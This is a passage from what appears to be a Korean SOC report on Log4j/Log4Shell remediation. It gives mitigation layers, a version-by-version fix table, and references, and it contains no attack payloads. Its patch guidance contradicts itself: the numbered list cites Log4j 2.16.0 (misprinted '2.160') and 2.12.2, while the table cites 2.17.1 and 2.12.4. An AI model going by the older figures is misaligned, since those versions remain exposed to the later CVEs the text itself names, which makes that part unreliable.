보안관제(SOC)환경에서 Log4j 취약점에 대한 적절한 대응방안으로는 보안솔루션(IPS/WAF)등에 탑제된 공격 페이로드에 대한 탐지패턴을 업데이트하고 최신 버전으로 보안업데이트 및 완화 방안에 대한 조치가 필요하다.
[그림 19] Log4j 공격 대응 레이어(출처 : Swiss Government)
[그림 19]와 같이 Log4j 공격 대응 구성도에서 명시된 대응방안 중 한 가지라도 가능하게 된다면 공격으로 인한 피해를 방지할 수 있다.
① IPS/WAF를 통해 공격자의 공격패턴을 탐지하는 경우
② Log4j를 사용하지 않지 않는 경우
③ Log4j 2.X 보안업데이트를 수행한 경우(Java8버전의 경우 2.160, Java7버전의 경우 2.12.2)
④ Log4j JNDI Lookup이 비활성화된 경우(Log4j 2.16.0은 기본값이 Disable로 설정)
⑤ 공격에 주로 활용되는 User-Agent나 X-API-Version 등의 헤더값을 Log4j로 로깅하지 않는 경우
⑥ Log4j를 사용하는 시스템에서 LDAP등 JNDI와 통신이 불가능한 경우
구분 |
대응방안 |
|
Log4j 2.X |
Log4j 2.X 이상인 경우 |
1. 보안업데이트 •Log4j
2.17.1이상으로 업데이트(Java 8환경 필요)
•Java
7 : Log4j 2.12.4
•Java
6 : Log4j 2.3.2
2. Log4j 2.10.0이상인 경우 아래 완화조치를 사용가능 •시스템 속성 추가 :
-Dlog4j2.formatMsgNoLookups=true
•Java
실행 계정의 환경 변수 혹은 시스템 변수에 LOG4J_FORMAT_MSG_NO_LOOKUPS=true 설정
3. Log4j 2.7.0이상인 경우 아래 완화조치를 사용가능 •log4j
설정(log4j.xml
등)에 PatternLayout 속성에
있는 %m부분을
%m{nolookups}으로
변환
•Log4j
2.16.0이상을 사용하는 경우 %m을
사용해도 자동으로 nolookups로 처리
4. Log4j가 위의 버전보다 낮은 경우 •JndiLookup와 JndiManager클래스를 읽지 못하도록 조치 필요
•Zip
–q –d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
5. Logback등 다른 로깅 모듈로 교체 •spring-boot-starter-logging
패키지를 변형없이 그대로 사용하면 Log4j 취약점에 영향을 받지 않을 수 있으나, 다른
패키지가 log4j-core에 의존하고 있을 가능성이 있으므로 실제 포함 여부를 의존성
트리 구조(dependency hierarchy)확인 필요
|
Log4j 2.15.0 |
1. Log4j 2.15.0이상인 경우 •설정 환경에 따라서 CVE-2021-45046, CVE-2021-44832 취약점에 노출되기
때문에 아래 명시된 설정을 모두 제거 •-Dlog4j2.formatMsgNoLookups=false
•LOG4J_FORMAT_MSG_NO_LOOKUPS=false
2. Log4j 2.16.0 이상인 경우 •Log4j
2.16.0부터 log4j.enableJndi
설정이 기본값 false로 추가
•-Dlog4j.enableJndi=true
설정을 제거
|
|
Log4j 1.X |
Log4j |
1. JMSAppender 를 log4j.xml 등의 세팅 파일에 사용제한 2. 압축 파일 내 클래스 삭제 방식적용 •Zip
–d log4j-1.2.*.jar org/apache/log4j/net/JMSAppender.class
3. log4j 모듈 내 JMSAppender 클래스를 삭제하여 취약점 원천 차단 후 운영을 권고 |
Logback |
1. 보안업데이트 •Logback1.2.9이상으로 업데이트
|
[표 11] Log4j 버전별 취약점 대응방안
06. 참고자료
1) Apache Log4j : Release 2.0-beta9 – 2013-09-14
https://logging.apache.org/log4j/2.x/changes-report.html#a2.0-beta9
2) A JOURNEY FROM JNDI/LDAP MANIPULATION TO REMOTE CODE EXECUTION DREAM LAND : https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
3) CVE-2021-45105: DENIAL OF SERVICE VIA UNCONTROLLED RECURSION IN LOG4J STRSUBSTITUTOR : https://www.zerodayinitiative.com/blog/2021/12/17/cve-2021-45105-denial-of-service-via-uncontrolled-recursion-in-log4j-strsubstitutor
4) Log4j Vulnerability CVE-2021-45105: What You Need to Know : https://www.whitesourcesoftware.com/resources/blog/log4j-vulnerability-cve-2021-45105/
[별첨] Log4Shell(CVE-2021-44228) Mind Map by Loiic Catel
[그림 20] Mind Map #1 Am I Vulnerable to Log4Shell? (출처 : Loiic Catel공개본 일부 수정)
[그림 21] Mind Map #2 How to detect Log4Shell Vulnerability (출처 : Loiic Catel공개본 일부 수정)
[그림 22] Mind Map #3 Shielding & Mitigations against Log4Shell(출처 : Loiic Catel공개본 일부 수정)